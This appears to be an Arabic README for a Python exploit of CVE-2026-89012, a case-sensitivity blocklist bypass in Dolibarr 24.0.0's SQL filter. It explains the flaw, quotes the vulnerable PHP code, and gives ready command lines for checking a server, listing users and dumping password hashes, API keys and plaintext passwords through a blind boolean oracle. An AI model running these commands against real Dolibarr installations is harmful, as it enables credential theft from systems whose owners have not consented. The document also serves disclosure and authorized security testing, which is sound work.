
استغلال Python لـ CVE-2026-89012، وهو تجاوز لقائمة الحظر الخاصة بمرشح SQL في Dolibarr يستخدم أوراكل منطقي أعمى لاستخراج تجزئات كلمات المرور ومفاتيح API عبر REST API.
استغلال لـ CVE-2026-89012: قائمة حظر الحقول المحظورة في
forgeSQLFromUniversalSearchCriteria() (التي أُدخلت مع إصلاح CVE-2026-71510)
تستخدم in_array() الحساسة لحالة الأحرف بينما تسمح مجموعة أحرف المعامل بـ A-Z.
نظرًا لأن تحليل أعمدة SQL غير حساس لحالة الأحرف، يمكن لمستخدم API مُصادَق عليه
أن يستعلم عن t.PASS_CRYPTED بدلاً من t.pass_crypted ويتجاوز قائمة الحظر.
تحوّل مُسندات LIKE البادئة sqlfilters إلى أوراكل منطقي أعمى
يستعيد تجزئات كلمات المرور حرفًا بحرف.
السجل: https://www.cve.org/CVERecord?id=CVE-2026-89012
| المتأثر | Dolibarr 24.0.0 |
| المُصلَح | 24.0.1 |
| المتطلبات المسبقة | رمز API صالح مع users->lire |
| التأثير | الكشف عن pass_crypted، api_key، pass، pass_temp، openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
مكتبة قياسية فقط (Python 3.8+). يدعم --proxy، --insecure، --timeout.
ملاحظة: تحت ترتيب غير حساس لحالة الأحرف (الافتراضي) تُستعاد قيمة bcrypt
بالضبط حتى حالة الأحرف؛ أما الأعمدة النصية الصريحة (llx_adherent.pass
عبر /api/index.php/members، pass_temp) فتُستعاد بايت ببايت.

للاختبار والبحث المصرَّح به فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها.